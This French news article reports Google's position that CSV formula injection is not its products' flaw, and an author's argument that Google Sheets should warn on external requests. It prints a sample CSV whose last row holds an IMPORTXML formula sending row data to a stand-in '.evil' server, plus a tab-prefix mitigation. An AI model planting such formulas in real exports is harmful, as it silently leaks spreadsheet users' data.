
Dans un billet de blog qui fait suite aux alertes de sécurité reçues de diverses équipes de recherche, Google répond : « nous recevons de temps à autre des rapports qui font une description des attaques par injection CSV. Ces derniers soulignent qu’un de nos produits, doté de la fonctionnalité d’exportation vers le format CSV peut être abusé par l’injection de formules Excel au sein d’un fichier à télécharger par un utilisateur. […]. Au-delà de la possibilité de réaliser des opérations arithmétiques sur la machine d’une victime, cet état de choses peut conduire à l’exécution de commandes arbitraires. »
Et d’ajouter : « d’après notre équipe sécurité, il ne s’agit pas d’une situation dont la solution est de notre ressort ou qui pourrait avoir un impact sur la sécurité de nos utilisateurs et de nos produits. […]. Les fichiers CSV c’est du texte et l’évaluation des formules en leur sein est un comportement exhibé par un sous-ensemble d’applications qui les ouvrent. Il s’agit donc plus d’un effet secondaire de l’utilisation de ce format de fichiers qu’une faille dans nos produits capables d’exporter les fichiers CSV. Ce vecteur d’attaque peut être mitigé par l’application qui importe des données d’une source externe, comme Microsoft Excel par exemple, en générant un avertissement. Conclusion, nous ne pensons pas que le risque introduit par ce comportement nécessite que des changements soient apportés à nos produits. »
Le coupable est, semble-t-il, très vite désigné, à savoir : les applications tierces et les développeurs en charge de mettre en place les protections nécessaires pour s’assurer d’une importation sans risque des fichiers CSV. Le bout de code CSV qui suit montre qu’un attaquant peut abuser de l’application Google Sheets elle-même en extirpant des données à un utilisateur même averti. Un appel à la fonction IMPORTXML (fonction de l’API Google Sheets que l’on retrouve aussi sur Excel) précédée de l’un des symboles qui déclenchent l’évaluation d’une formule (en l’occurrence ici =) et l’attaquant déclenche l’accès furtif à une ressource externe. « Google Sheets devrait au moins générer un avertissement lorsqu’une requête externe est générée lors de l’importation d’un fichier CSV », note l’auteur du billet de blog source.
Code : | Sélectionner tout |
1 2 3 4 | UserId,BillToDate,ProjectName,Description,DurationMinutes 1,2017-07-25,Test Project,Flipped the jibbet,60 2,2017-07-25,Important Client,"Bop, dop, and giglip", 240 2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240 |
La firme de Mountain View est au courant des vulnérabilités qu’exhibe son produit, mais ne semble pas changer d’avis sur la question. Les développeurs en charge de ces questions devront donc continuer à implémenter les protections nécessaires pour éviter que leurs organisations respectives puissent être pénétrées de la sorte. La littérature sur le sujet abonde sur la toile depuis un moment, 2013 selon des estimations. L’auteur du billet de blog pour sa part propose de faire précéder les symboles qui déclenchent l’évaluation des formules par le caractère de tabulation.
Source : billet de blog, Google Bughunter University
Et vous ?


Voir aussi :
